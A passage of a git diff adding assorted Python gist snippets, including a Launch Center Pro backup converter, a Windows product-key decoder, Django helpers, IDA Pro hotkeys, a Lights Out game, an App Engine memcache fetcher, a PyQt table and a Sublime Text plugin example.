+            r'(<string>x-coredata://.*?/LaunchAction/{}</string>' \
+            '\s+?<string>).*?(</string>' \
+            '\s+?<string>).*?(</string>)'.format(url_scheme)
+            )
+
+        # todo: Do I need to html encode / decode quotes?
+        url_title = my_json[url_scheme]['title']
+        url_content = my_json[url_scheme]['url']
+
+        url_title_encoded = html.escape(url_title)
+        url_content_encoded = html.escape(url_content)
+
+        pl = re.sub(marker, r'\g<1>{}\g<2>{}\g<3>'.format(url_title_encoded,
+                                                    url_content_encoded), pl)
+    return pl
+
+def write_lcp_backup(new_pl):
+
+    with open(out_binary, 'w') as w:
+        w.write(new_pl)
+
+    args = ['plutil', '-convert', 'binary1', out_binary]
+    subprocess.call(args)
+
+    print("Output:\n{}".format(out_binary))
+    return
+
+def main():
+
+    description = 'Make Launch Center Pro backup files easier to work with.'
+    parser = argparse.ArgumentParser(description=description)
+    group = parser.add_mutually_exclusive_group(required=True)
+
+    group.add_argument('-read', action='store', help = ('Read in '
+    'a Launch Center Pro .lcpbackup file and output a json file with '
+    'the URL actions.'))
+
+    group.add_argument('-write', action='store', help = ('Read in a '
+    'previously created json file and write it to a Launch Center Pro '
+    'backup file.'))
+
+    parser.add_argument('-lcpfile', '-l', action='store', help=('The '
+    '*XML* LCP backup file to use as a template (defaults to xml file with '
+    'same timestamp as json file. Either use the default, or convert manually '
+    'from binary to xml with plutil.'))
+
+    args = parser.parse_args()
+
+    if args.read:
+        if not args.read.endswith('.lcpbackup'):
+            print("You need to specify an .lcpbackup file to read.")
+            exit(0)
+        else:
+            pl = read_lcp_backup(args.read)
+
+            url_dict = find_urls(pl)
+
+            with open(out_json, 'w') as json_opener:
+                json.dump(url_dict, json_opener, indent=4)
+
+            print("Output:\n{}\n{}".format(out_json, out_xml))
+
+    if args.write:
+        if not args.write.endswith('.json'):
+            print("You need to specify a .json file to read from.")
+            exit(0)
+        else:
+
+            old_ts = re.search(r'^\d+', args.write).group(0)
+            template_file = '{}_xml.lcpbackup'.format(old_ts)
+
+            if args.lcpfile:
+               template_file = args.lcpfile
+
+            with open(template_file) as xml, \
+                        open(args.write) as json_file:
+
+                pl = xml.read()
+                my_json = json.load(json_file)
+
+            new_pl = update_pl(pl, my_json)
+
+            write_lcp_backup(new_pl)
+
+if __name__ == '__main__':
+    main()
diff --git a/hard-gists/5f2fd870eb8a2325c0842dbd787574c3/._snippet.py b/hard-gists/5f2fd870eb8a2325c0842dbd787574c3/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/5f2fd870eb8a2325c0842dbd787574c3/._snippet.py differ
diff --git a/hard-gists/5f2fd870eb8a2325c0842dbd787574c3/snippet.py b/hard-gists/5f2fd870eb8a2325c0842dbd787574c3/snippet.py
new file mode 100644
index 00000000..54bb69ef
--- /dev/null
+++ b/hard-gists/5f2fd870eb8a2325c0842dbd787574c3/snippet.py
@@ -0,0 +1,32 @@
+# python3 required
+# tested on Windows 7 & Windows 10
+
+import winreg
+
+try:
+	key = winreg.OpenKey(winreg.HKEY_LOCAL_MACHINE, r"SOFTWARE\Microsoft\Windows NT\CurrentVersion")
+	value = winreg.QueryValueEx(key, "DigitalProductId")
+except OSError:
+	print(r"""Cannot find value "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\DigitalProductId".""")
+	quit()
+	
+assert type(value) is tuple
+assert len(value) == 2
+if value[1] != 3:
+	print(r"""Type mismatch in "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\DigitalProductId".""")
+	quit()
+assert type(value[0]) is bytes
+
+rawdata = list(value[0])
+productkey = ""
+for i in range(25):
+	cur = 0
+	for x in range(14, -1, -1):
+		cur = rawdata[x + 52] + cur * 256
+		rawdata[x + 52] = (cur // 24) & 255
+		cur = cur % 24
+	productkey = "BCDFGHJKMPQRTVWXY2346789"[cur] + productkey
+	if ((i + 1) % 5 == 0) and (i != 24):
+		productkey = '-' + productkey
+
+print(productkey)
\ No newline at end of file
diff --git a/hard-gists/5f54de51270d4c2d2747/._snippet.py b/hard-gists/5f54de51270d4c2d2747/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/5f54de51270d4c2d2747/._snippet.py differ
diff --git a/hard-gists/5f54de51270d4c2d2747/snippet.py b/hard-gists/5f54de51270d4c2d2747/snippet.py
new file mode 100644
index 00000000..37296276
--- /dev/null
+++ b/hard-gists/5f54de51270d4c2d2747/snippet.py
@@ -0,0 +1,40 @@
+from itertools import chain
+from django.db.models.fields.related import ManyToManyField
+
+def model_to_dict_verbose(instance, fields=None, exclude=None):
+    """
+    Returns a dict containing the data in ``instance`` suitable for passing as
+    a Form's ``initial`` keyword argument. Keys in dict are exchanged for
+    verbose names contained in the model.
+    ``fields`` is an optional list of field names. If provided, only the named
+    fields will be included in the returned dict.
+    ``exclude`` is an optional list of field names. If provided, the named
+    fields will be excluded from the returned dict, even if they are listed in
+    the ``fields`` argument.
+    """
+    opts = instance._meta
+    data = {}
+    for f in chain(opts.concrete_fields, opts.virtual_fields, opts.many_to_many):
+        if not getattr(f, 'editable', False):
+            continue
+        if fields and f.name not in fields:
+            continue
+        if exclude and f.name in exclude:
+            continue
+        verbose_name = opts.get_field(f.name).verbose_name
+        if isinstance(f, ManyToManyField):
+            # If the object doesn't have a primary key yet, just use an empty
+            # list for its m2m fields. Calling f.value_from_object will raise
+            # an exception.
+            if instance.pk is None:
+                data[verbose_name] = []
+            else:
+                # MultipleChoiceWidget needs a list of pks, not object instances.
+                qs = f.value_from_object(instance)
+                if qs._result_cache is not None:
+                    data[verbose_name] = [item.pk for item in qs]
+                else:
+                    data[verbose_name] = list(qs.values_list('pk', flat=True))
+        else:
+            data[verbose_name] = f.value_from_object(instance)
+    return data
\ No newline at end of file
diff --git a/hard-gists/5f59050155c3159c2185/._snippet.py b/hard-gists/5f59050155c3159c2185/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/5f59050155c3159c2185/._snippet.py differ
diff --git a/hard-gists/5f59050155c3159c2185/snippet.py b/hard-gists/5f59050155c3159c2185/snippet.py
new file mode 100644
index 00000000..06bbc6b0
--- /dev/null
+++ b/hard-gists/5f59050155c3159c2185/snippet.py
@@ -0,0 +1,18 @@
+# Check if Maya is running in Batch mode or with a GUI
+# A return value of 1 means Batch Mode, 0 means GUI mode
+def checkMayaGuiBatchMode():  
+  """
+  Maya tip on detecting Maya Batch mode is from Michael Scarpa's blog post "MEL Sillyness":
+  http://www.scarpa.name/2010/12/16/mel-sillyness/
+  """
+
+  # Check if Maya is running in batch mode or with a GUI
+  import maya.OpenMaya
+  isMayaInBatchMode = maya.OpenMaya.MGlobal.mayaState() == maya.OpenMaya.MGlobal.kBatch
+
+  return isMayaInBatchMode;
+  
+
+# Check if Maya is running in Batch mode or with a GUI
+# 1 means Batch Mode, 0 means GUI mode
+isMayaInBatchMode = checkMayaGuiBatchMode()
\ No newline at end of file
diff --git a/hard-gists/5f9f2c05c5e3dc6b31d8/._snippet.py b/hard-gists/5f9f2c05c5e3dc6b31d8/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/5f9f2c05c5e3dc6b31d8/._snippet.py differ
diff --git a/hard-gists/5f9f2c05c5e3dc6b31d8/snippet.py b/hard-gists/5f9f2c05c5e3dc6b31d8/snippet.py
new file mode 100644
index 00000000..f5799c8d
--- /dev/null
+++ b/hard-gists/5f9f2c05c5e3dc6b31d8/snippet.py
@@ -0,0 +1,135 @@
+# coding: utf-8
+
+from UIKit import *
+from Foundation import *
+from ctypes import *
+
+libobjc = CDLL('/usr/lib/libobjc.dylib')
+
+QLPreviewController = ObjCClass('QLPreviewController')
+
+@on_main_thread
+def main():
+	rootVC = UIApplication.sharedApplication().keyWindow().rootViewController()
+	tabVC = rootVC.detailViewController()
+	
+	methods = [numberOfSectionsInTableView_, tableView_numberOfRowsInSection_, tableView_cellForRowAtIndexPath_, refresh, tableView_didSelectRowAtIndexPath_, getPath, setPath_, previewController_shouldOpenURL_forPreviewItem_, numberOfPreviewItemsInPreviewController_, previewController_previewItemAtIndex_, setFiles_, getFiles]
+	protocols = ['OMTabContent']
+	FBFilesTableViewController = create_objc_class('FBFilesTableViewController', UITableViewController, methods=methods, protocols=protocols)
+
+	vc = FBFilesTableViewController.alloc().initWithStyle_(0).autorelease()
+	vc.setPath_('/')
+	vc.refresh()
+	vc.title = 'File Browser'
+	
+	rootNavigationController = UINavigationController.alloc().initWithRootViewController_(vc).autorelease()
+	tabVC.addTabWithViewController_(rootNavigationController)
+
+def setPath_(_self, _cmd, _path):
+	libobjc.objc_setAssociatedObject.argtypes = [c_void_p] * 3 + [c_ulong]
+	libobjc.objc_setAssociatedObject(_self, sel('_internalPath'), _path, 3)
+	ObjCInstance(_self).title = ObjCInstance(_path).lastPathComponent()
+
+def getPath(_self, _cmd):
+	libobjc.objc_getAssociatedObject.argtypes = [c_void_p] * 2
+	libobjc.objc_getAssociatedObject.restype = c_void_p
+	_p = libobjc.objc_getAssociatedObject(_self, sel('_internalPath'))
+	return ObjCInstance(_p).ptr
+getPath.encoding = '@0@0'
+
+def setFiles_(_self, _cmd, _files):
+	libobjc.objc_setAssociatedObject.argtypes = [c_void_p] * 3 + [c_ulong]
+	libobjc.objc_setAssociatedObject(_self, sel('_internalFiles'), _files, 1)
+
+def getFiles(_self, _cmd):
+	libobjc.objc_getAssociatedObject.argtypes = [c_void_p] * 2
+	libobjc.objc_getAssociatedObject.restype = c_void_p
+	_p = libobjc.objc_getAssociatedObject(_self, sel('_internalFiles'))
+	return ObjCInstance(_p).ptr
+getFiles.encoding = '@0@0'
+	
+def refresh(_self, _cmd):
+	path = ObjCInstance(_self).getPath()
+	tempFiles = NSFileManager.defaultManager().contentsOfDirectoryAtPath_error_(path, None)
+	
+	if tempFiles == None or tempFiles.count() == 0:
+		if path.isEqualToString_('/System'):
+			tempFiles = ns(['Library'])
+		elif path.isEqualToString_('/usr'):
+			tempFiles = ns(['lib'])
+		else:	
+			tempFiles = NSArray.array()	
+	ObjCInstance(_self).setFiles_(tempFiles.copy())
+	
+def numberOfSectionsInTableView_(_self, _cmd, _tv):
+	return 1
+	
+def tableView_numberOfRowsInSection_(_self, _cmd, _tv, _section):
+	return ObjCInstance(_self).getFiles().count()
+
+def tableView_cellForRowAtIndexPath_(_self, _cmd, _tv, _indexPath):
+	identifier = 'FileCell'
+	cell = ObjCInstance(_tv).dequeueReusableCellWithIdentifier_(identifier)
+	
+	if cell == None:
+		cell = UITableViewCell.alloc().initWithStyle_reuseIdentifier_(3, identifier)
+	
+	filename = ObjCInstance(_self).getFiles()[ObjCInstance(_indexPath).row()]
+	oldPath = ObjCInstance(_self).getPath()
+	newPath = oldPath.stringByAppendingPathComponent_(filename)
+	
+	cell.textLabel().text = filename
+	cell.imageView().image = None
+	
+	isDir = c_bool()
+	fileExists = NSFileManager.defaultManager().fileExistsAtPath_isDirectory_(newPath,byref(isDir))
+	
+	if isDir:
+		cell.imageView().image = UIImage.imageNamed_('Folder')
+	
+	if filename.hasSuffix_('.png') or filename.hasSuffix_('.jpg'):
+			cell.imageView().image = UIImage.imageNamed_('FileImage')
+
+	return cell.ptr
+	
+def tableView_didSelectRowAtIndexPath_(_self, _cmd, _tv, _indexPath):
+	FBFilesTableViewController = ObjCClass('FBFilesTableViewController')
+	filename = ObjCInstance(_self).getFiles()[ObjCInstance(_indexPath).row()]
+	
+	oldPath = ObjCInstance(_self).getPath()
+	newPath = oldPath.stringByAppendingPathComponent_(filename)
+	
+	isDir = c_bool()
+	NSFileManager.defaultManager().fileExistsAtPath_isDirectory_(newPath,byref(isDir))
+	
+	if isDir:
+		vc = FBFilesTableViewController.alloc().initWithStyle_(0).autorelease()
+		vc.setPath_(newPath)
+		vc.refresh()
+
+		ObjCInstance(_self).showViewController_sender_(vc,ObjCInstance(_self))
+	else:
+		vc = QLPreviewController.alloc().init().autorelease()
+		vc.dataSource = ObjCInstance(_self)
+		
+		ObjCInstance(_self).showViewController_sender_(vc,ObjCInstance(_self))
+		
+	ObjCInstance(_tv).deselectRowAtIndexPath_animated_(ObjCInstance(_indexPath), False)
+			
+def previewController_shouldOpenURL_forPreviewItem_(_self, _cmd, _previewController, _url, _item):
+	return True
+previewController_shouldOpenURL_forPreviewItem_.encoding = 'B0@0@0:@0@0'
+	
+def numberOfPreviewItemsInPreviewController_(_self, _cmd, _previewController):
+	return 1
+numberOfPreviewItemsInPreviewController_.encoding = 'q0@00@0@0'
+
+def previewController_previewItemAtIndex_(_self, _cmd, _previewController, _index):
+	filename = ObjCInstance(_self).getFiles()[ObjCInstance(_self).tableView().indexPathForSelectedRow().row()]
+	oldPath = ObjCInstance(_self).getPath()
+	newPath = oldPath.stringByAppendingPathComponent_(filename)
+	return NSURL.fileURLWithPath_(newPath).ptr
+previewController_previewItemAtIndex_.encoding = '@0@0:@0@0'
+		
+if __name__ == '__main__':
+	main()
\ No newline at end of file
diff --git a/hard-gists/6000407/._snippet.py b/hard-gists/6000407/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/6000407/._snippet.py differ
diff --git a/hard-gists/6000407/snippet.py b/hard-gists/6000407/snippet.py
new file mode 100644
index 00000000..9dfdee99
--- /dev/null
+++ b/hard-gists/6000407/snippet.py
@@ -0,0 +1,17 @@
+import django
+import os
+
+DJANGO_ROOT = os.path.dirname(os.path.realpath(django.__file__))
+SITE_ROOT = os.path.dirname(os.path.realpath(__file__))
+
+'''
+Example usage:
+
+STATIC_ROOT = os.path.join(SITE_ROOT, 'static'),
+
+...
+
+TEMPLATE_DIRS = (
+    os.path.join(SITE_ROOT, 'templates'),
+)
+'''
\ No newline at end of file
diff --git a/hard-gists/6003874/._snippet.py b/hard-gists/6003874/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/6003874/._snippet.py differ
diff --git a/hard-gists/6003874/snippet.py b/hard-gists/6003874/snippet.py
new file mode 100644
index 00000000..e82532bf
--- /dev/null
+++ b/hard-gists/6003874/snippet.py
@@ -0,0 +1,120 @@
+# hotkey_utils.py - bNull
+# 
+# Some useful shortcuts for binding to hotkeys. Current output/hotkeys:
+#
+# [+] Bound make_dwords to Ctrl-Alt-D
+# [+] Bound make_cstrings to Ctrl-Alt-A
+# [+] Bound make_offset to Ctrl-Alt-O
+
+import idaapi
+import idc
+import inspect
+
+def selection_is_valid(selection, ea):
+    """If the cursor is not at the beginning or the end of our selection, assume that
+    something bad has gone wrong and bail out instead of turning a lot of important
+    things into dwords.
+    """
+    if not (ea == selection[1] or ea == selection[2]-1):
+        return False
+    else:
+        return True
+
+def cool_to_clobber(ea):
+    """Verify whether or not the byte is somethng that we'll regret clobbering at 
+    some later point
+    """
+    # Currently, just check to see if there's an instruction defined there. 
+    # TODO: Check for additional things would not be cool-to-clobber.
+    if idc.GetMnem(ea):
+        return False
+    else:
+        return True
+
+def get_selected_bytes():
+    """Highlight a range and turn it into dwords
+    
+    NOTE: read_selection appears to be a fickle bitch. You absolutely have to 
+    select more than one line at a time in order for it to work as expected.
+    """
+      
+    selected = idaapi.read_selection()
+    curr_ea = idc.ScreenEA()
+    print "[+] Processing range: %x - %x" % (selected[1],selected[2])
+    
+    # refer to selection_is_valid comments regarding the need for this check 
+
+    if (selection_is_valid(selected, curr_ea)):
+        return selected
+    else:
+        return None
+
+def make_dwords():
+    selected = get_selected_bytes()
+    if selected:
+        for ea in range(selected[1], selected[2], 4):
+            if not cool_to_clobber(ea):
+                print "[-] Error: Something that we shouldn't clobber at 0x%x" % ea
+                break
+            idaapi.doDwrd(ea,4)
+            print "[+] Processed %x" % ea
+    else:
+        print "[-] Error: EA is not currently a selection endpoint %x" % idc.ScreenEA()
+
+def make_cstrings():
+    """Highlight a range and turn it into c-style strings
+    
+    NOTE: read_selection appears to be a fickle bitch. You absolutely have to 
+    select more than one line at a time in order for it to work as expected.
+    """
+    # TODO check to verify that each byte is valid ascii
+    selected = get_selected_bytes()
+    if selected:
+        curr_start = selected[1]
+        curr_length = 0
+        for ea in range(selected[1], selected[2]):
+            if not cool_to_clobber(ea):
+                print "[-] Error: Something that we shouldn't clobber at 0x%x" % ea
+                break
+            curr_byte = idaapi.get_byte(ea)
+            curr_length += 1
+            if curr_byte == 0:
+                if curr_length > 1:
+                    idaapi.doASCI(curr_start,curr_length)
+                    curr_length = 0
+                    curr_start = ea + 1
+                else:
+                    curr_length = 0
+                    curr_start = ea + 1
+    else:
+        print "[-] Error: EA is not currently a selection endpoint %x" % idc.ScreenEA()
+
+def make_offset():
+    """Resolve an offset to a pointer
+    
+    For some reason, it seems as though IDA will not auto-define a pointer DWORD. Ex:
+    
+       .rodata:08E30000                 dd 8271234h
+    
+    In the case that 0x8271234 is actually a function, resolving the offset will 
+    result in:
+    
+       .rodata:08E30000                 dd offset _ZN29ClassAD1Ev ; ClassA::~ClassA()
+    """
+    idc.OpOffset(idc.ScreenEA(),0)
+
+def load_hotkeys():
+    ENABLED_HOTKEYS = [
+            ("Ctrl-Alt-D", make_dwords),
+            ("Ctrl-Alt-A", make_cstrings),
+            ("Ctrl-Alt-O", make_offset)
+            ]
+
+    for func in ENABLED_HOTKEYS:
+        func_name = inspect.getmembers(func[1])[-1][1]
+        if idaapi.add_hotkey(func[0], func[1]):
+            print "[+] Bound %s to %s" % (func_name, func[0])
+        else:
+            print "[-] Error: Unable to bind %s to %s" % (func_name, func[0])
+
+load_hotkeys()
\ No newline at end of file
diff --git a/hard-gists/6005981/._snippet.py b/hard-gists/6005981/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/6005981/._snippet.py differ
diff --git a/hard-gists/6005981/snippet.py b/hard-gists/6005981/snippet.py
new file mode 100644
index 00000000..5eebf529
--- /dev/null
+++ b/hard-gists/6005981/snippet.py
@@ -0,0 +1,101 @@
+import pygame
+import random
+import math
+
+from vec import Vec
+from GF2 import *
+
+pygame.init()
+
+screen_width = 600
+screen_height = 600
+
+screen = pygame.display.set_mode((screen_width, screen_height))
+pygame.display.set_caption("lights OUT!")
+
+done = False
+is_blue = True
+
+size_x = 5
+size_y = 5
+
+rect_width = screen_width / size_x
+rect_height = screen_height / size_y
+
+coords = { (x,y) for x in range(size_x) for y in range (size_y) }
+lights = Vec (coords, {})
+
+def getRect(margin, x,y):
+        left = x * rect_width + margin/2
+        top = y * rect_height + margin/2
+        return pygame.Rect(left, top, rect_width - margin, rect_height - margin)
+
+def getCoords(sx, sy):
+        x = math.floor(sx / rect_width)
+        y = math.floor(sy / rect_height)
+        return (x,y)
+
+def inBounds(x,y):
+        return x >= 0 and x < size_x and y >= 0 and y < size_y
+
+def getEnv(x,y):
+        env = [(x,y), (x-1,y), (x+1,y), (x,y-1), (x,y+1)]
+        return ((x,y) for (x,y) in env if inBounds(x,y))
+
+def isLightOn(x,y):
+        return lights[(x,y)] == one
+
+def switchLight(x,y):
+        lights[(x,y)] = one - lights[(x,y)]
+
+def clickOn(x,y):
+        for (a,b) in getEnv(x,y):
+                switchLight(a,b)
+
+def drawLight (x,y):
+        grey = (10,10,10)
+        color = (100,10,10)
+        if isLightOn(x,y): color = (10, 250, 10)
+        pygame.draw.rect(screen, grey, getRect(2, x,y), 0)
+        pygame.draw.ellipse(screen, color, getRect(8, x,y), 0)
+
+def drawLights():
+        for (x,y) in coords:
+                drawLight(x,y)
+
+def randomizeLights():
+        random.seed()
+        cs = list(coords)
+        for i in range(2 * size_x):
+                (x,y) = random.choice(cs)
+                clickOn(x,y)
+
+# comment the next line if you want a clean board
+randomizeLights()
+
+fpsClock = pygame.time.Clock()
+
+while not done:
+
+        # input
+        for event in pygame.event.get():
+                if event.type == pygame.QUIT:
+                        done = True
+                if event.type == pygame.KEYDOWN:
+                        if event.key == pygame.K_ESCAPE:
+                            done = True
+                if event.type == pygame.MOUSEBUTTONDOWN and event.button == 1:
+                        (sx, sy) = pygame.mouse.get_pos()
+                        (x,y) = getCoords(sx, sy)
+                        clickOn (x,y)
+
+        
+
+        # drawing       
+        screen.fill((0, 0, 0))
+        drawLights()
+        
+        pygame.display.flip()
+
+        # wait
+        fpsClock.tick(60)
\ No newline at end of file
diff --git a/hard-gists/600fa8852b4741fb2bb1/._snippet.py b/hard-gists/600fa8852b4741fb2bb1/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/600fa8852b4741fb2bb1/._snippet.py differ
diff --git a/hard-gists/600fa8852b4741fb2bb1/snippet.py b/hard-gists/600fa8852b4741fb2bb1/snippet.py
new file mode 100644
index 00000000..71c2339a
--- /dev/null
+++ b/hard-gists/600fa8852b4741fb2bb1/snippet.py
@@ -0,0 +1,125 @@
+# This Gist is an alternative to ndb.get_multi which is a lot faster in some circumstances.
+# For example, fetching 500 small entities with 90% hit rate is 3x faster than ndb,
+# based on my tests in App Engine production environment (F1).
+# In general it is worthwhile when fetching a large number of small entities, with >50% memcache hit rate.
+# For any keys not in memcache, it falls back on a normal ndb.get_multi
+
+# The code is based on the original ndb.context code, but avoids the task queue overhead.
+
+import logging
+from google.appengine.api import memcache
+from google.appengine.ext import ndb
+from google.appengine.ext.ndb.google_imports import entity_pb
+from google.appengine.ext.ndb.google_imports import ProtocolBuffer
+from google.appengine.ext.ndb import model
+
+def get_multi(keys):
+    """ A drop-in replacement of ndb.get_multi.
+        This version is much faster when fetching many small objects which are mostly in memcache.
+        The two functional differences from ndb are:
+          --all keys must belong to the same namespace
+          --Doesn't interact with ndb autobatcher.
+
+        Speedup depends on the memcache hit rate:
+          100%: 3x faster.
+           80%: 1.7x faster.
+           50%: about parity.
+          <10%: about 20% slower.
+
+        The code is closely based on ndb's own code, but avoids a lot of overhead (seemingly in their task queue code).
+
+    @param keys: list of Keys
+    @type keys: ndb.Key
+    @return: list of entities
+    @rtype: list
+    """
+    if not keys:
+        return
+
+    ctx = ndb.get_context()
+    ns = keys[0].namespace()
+    # Check single namespace assumption.
+    for k in keys:
+        if k.namespace() != ns:
+            raise ValueError("All keys must belong to a single namespace.")
+
+    # First check the context cache.
+    results_from_context_cache = _get_from_context_cache(keys)
+    keys_from_context_cache = set([entity.key for entity in results_from_context_cache])
+
+    # Manually get from memcache anything not in context cache.
+    mkey_to_key = {key.urlsafe() : key for key in keys if key not in keys_from_context_cache}
+    # Strangely memcache.get_multi isn't instant even when key set is empty, so check explicitly.
+    if mkey_to_key:
+        memcache_response = memcache.get_multi(keys=mkey_to_key.keys(), key_prefix=ctx._memcache_prefix, namespace=ns)
+    else:
+        memcache_response = {}
+
+    # Any keys that are missing, use ndb to get them from the datastore.
+    # Potentially could be faster by also skipping ndb here and doing a lower-level get_multi to the datastore, but too much work.
+    keys_to_fetch_from_datastore = [key for mkey, key in mkey_to_key.iteritems() if mkey not in memcache_response and key not in keys_from_context_cache]
+    datastore_fetch_futures = ndb.get_multi_async(keys_to_fetch_from_datastore, use_memcache=False)
+
+    # Check if any results appeared in the context cache while memcache RPC was running.
+    late_results_from_context_cache = _get_from_context_cache(mkey_to_key.values())
+    if late_results_from_context_cache:
+        # Drop the corresponding memcache results, no need to deserialize twice.
+        for entity in late_results_from_context_cache:
+            memcache_response.pop(entity.key.urlsafe(), None)
+
+    # Deserialize the memcache results.
+    deserialized_memcache_entities = []
+    for mkey, mvalue in memcache_response.iteritems():
+      key = mkey_to_key[mkey]
+      if mvalue not in (ndb.context._LOCKED, None):
+        cls = model.Model._lookup_model(key.kind(), ctx._conn.adapter.default_model)
+        pb = entity_pb.EntityProto()
+        try:
+          pb.MergePartialFromString(mvalue)
+        except ProtocolBuffer.ProtocolBufferDecodeError:
+          logging.warning('Corrupt memcache entry found '
+                          'with key %s and namespace %s' % (mkey, ns))
+        else:
+          entity = cls._from_pb(pb)
+          # Store the key on the entity since it wasn't written to memcache.
+          entity._key = key
+          if ctx._use_cache(key):
+            # Update in-memory cache.
+            ctx._cache[key] = entity
+          deserialized_memcache_entities.append(entity)
+
+    # Wait for datastore fetch of entities which were not in memcache.
+    ndb.Future.wait_all(datastore_fetch_futures)
+    entities_from_datastore = map(lambda r : r.get_result(), datastore_fetch_futures)
+
+    # For any keys which were not in memcache, write them to memcache.
+    # For a little extra speed, you could make this last call asynchronous and rely on caller to set @ndb.toplevel
+    entities_to_write_to_memcache = [e for e in entities_from_datastore if e]
+    ndb.put_multi(entities_to_write_to_memcache, use_datastore=False, use_cache=False)
+
+    all_results = (results_from_context_cache + late_results_from_context_cache +
+                   deserialized_memcache_entities + entities_from_datastore)
+
+    # Order results to match keys requested.
+    key_to_entity = {entity.key : entity for entity in all_results if entity}
+    return [key_to_entity.get(k) for k in keys]
+
+
+def _get_from_context_cache(keys):
+    """Get from ndb context cache"""
+    ctx = ndb.get_context()
+    results = []
+    for key in keys:
+        if ctx._use_cache(key) and key in ctx._cache:
+            entity = ctx._cache[key]
+            if entity and entity._key == key:
+                results.append(entity)
+    return results
+
+def test_get_multi(keys):
+    """Check get_multi is identical to ndb get_multi"""
+    entities = get_multi(keys)
+    ndb_entities = ndb.get_multi(keys)
+    returned_entity_keys = set([e.key.id() for e in entities])
+    ndb_returned_entity_keys = set([e.key.id() for e in ndb_entities])
+    assert(returned_entity_keys == ndb_returned_entity_keys)
diff --git a/hard-gists/6019350/._snippet.py b/hard-gists/6019350/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/6019350/._snippet.py differ
diff --git a/hard-gists/6019350/snippet.py b/hard-gists/6019350/snippet.py
new file mode 100644
index 00000000..3b48b810
--- /dev/null
+++ b/hard-gists/6019350/snippet.py
@@ -0,0 +1,84 @@
+# -*- coding: utf-8 -*-
+"""
+Created on Wed Jul 17 10:50:56 2013
+
+@author: cmarshall
+"""
+
+import sip
+sip.setapi('QString', 1)
+sip.setapi('QVariant', 1)
+ 
+import pandas as pd
+from PyQt4 import QtCore, QtGui
+ 
+
+class TableModel(QtCore.QAbstractTableModel): 
+    def __init__(self, parent=None, *args): 
+        super(TableModel, self).__init__()
+        self.datatable = None
+
+        
+    def update(self, dataIn):
+        print 'Updating Model'
+        self.datatable = dataIn
+        print 'Datatable : {0}'.format(self.datatable)
+        
+     
+    def rowCount(self, parent=QtCore.QModelIndex()):
+        return len(self.datatable.index) 
+        
+    def columnCount(self, parent=QtCore.QModelIndex()):
+        return len(self.datatable.columns.values) 
+        
+    def data(self, index, role=QtCore.Qt.DisplayRole):
+        #print 'Data Call'
+        #print index.column(), index.row()
+        if role == QtCore.Qt.DisplayRole:
+            i = index.row()
+            j = index.column()
+            #return QtCore.QVariant(str(self.datatable.iget_value(i, j)))
+            return '{0}'.format(self.datatable.iget_value(i, j))
+        else:
+            return QtCore.QVariant()
+    
+    def flags(self, index):
+        return QtCore.Qt.ItemIsEnabled
+            
+
+class TableView(QtGui.QTableView):
+    """
+    A simple table to demonstrate the QComboBox delegate.
+    """
+    def __init__(self, *args, **kwargs):
+        QtGui.QTableView.__init__(self, *args, **kwargs)
+ 
+ 
+if __name__=="__main__":
+    from sys import argv, exit
+    
+    class Widget(QtGui.QWidget):
+        """
+        A simple test widget to contain and own the model and table.
+        """
+        def __init__(self, parent=None):
+            QtGui.QWidget.__init__(self, parent)
+ 
+            l=QtGui.QVBoxLayout(self)
+            cdf = self.get_data_frame()
+            self._tm=TableModel(self)
+            self._tm.update(cdf)
+            self._tv=TableView(self)
+            self._tv.setModel(self._tm)
+            l.addWidget(self._tv)
+            
+        def get_data_frame(self):
+            df = pd.DataFrame({'Name':['a','b','c','d'], 
+            'First':[2.3,5.4,3.1,7.7], 'Last':[23.4,11.2,65.3,88.8], 'Class':[1,1,2,1], 'Valid':[True, True, True, False]})
+            return df
+ 
+    a=QtGui.QApplication(argv)
+    w=Widget()
+    w.show()
+    w.raise_()
+    exit(a.exec_())
\ No newline at end of file
diff --git a/hard-gists/6021768/._snippet.py b/hard-gists/6021768/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/6021768/._snippet.py differ
diff --git a/hard-gists/6021768/snippet.py b/hard-gists/6021768/snippet.py
new file mode 100644
index 00000000..d64bd796
--- /dev/null
+++ b/hard-gists/6021768/snippet.py
@@ -0,0 +1,119 @@
+import sublime
+import sublime_plugin
+
+'''
+  __  __     __  __
+ |  \/  |_ _|  \/  |
+ | |\/| | '_| |\/| |_
+ |_|  |_|_| |_|  |_(_)
+
+Project: Examples of using custom dialog and messages in Sublime 2
+
+Platform: tested only on a Mac
+
+File Name: mrm_example_dialogs.py
+
+Place file in your User folder
+
+On Mac it is:
+/Users/username/Library/Application Support/Sublime Text 2/Packages/User
+
+On a Mac, this is hidden, find the folder by going to Finder and
+Go | Go to Folder
+~/Library/Application Support/Sublime Text 2
+press ENTER
+
+
+How to add a Command to the Command Palette  (Cmd-Shift-P) on Mac
+
+1- Create a folder in
+   Packages/Default/Default.sublime-commands
+   There is same file in
+   Packages/User/Default.sublime-commands
+   don't modify files in Packages/Default, they will be overwritten when upgrading
+   always use User folder for user specific settings
+
+2- add this to file
+[
+    {
+        "caption": "Run Example 1",
+        "command": "example1"
+    }
+]
+
+
+3- Then you can press Cmd-Shift_P, and type in: Ru
+   and you will see this on list
+
+Rev #1 - updated "print" to work with Python 3 and Python 2
+
+'''
+
+# ------------------------------------------------------------
+# show_input_panel, status_message and message_dialog example
+# to run this use:
+# view.run_command("example1")
+# at the command line in Sublime
+# Note: Example1Command is expressed as example1 with the view.run_command("example1")
+
+class Example1Command(sublime_plugin.TextCommand):
+    def run(self, edit):
+        # 'something' is the default message
+        self.view.window().show_input_panel("Say something:", 'something', self.on_done, None, None)
+
+
+    def on_done(self, user_input):
+        # this is displayed in status bar at bottom
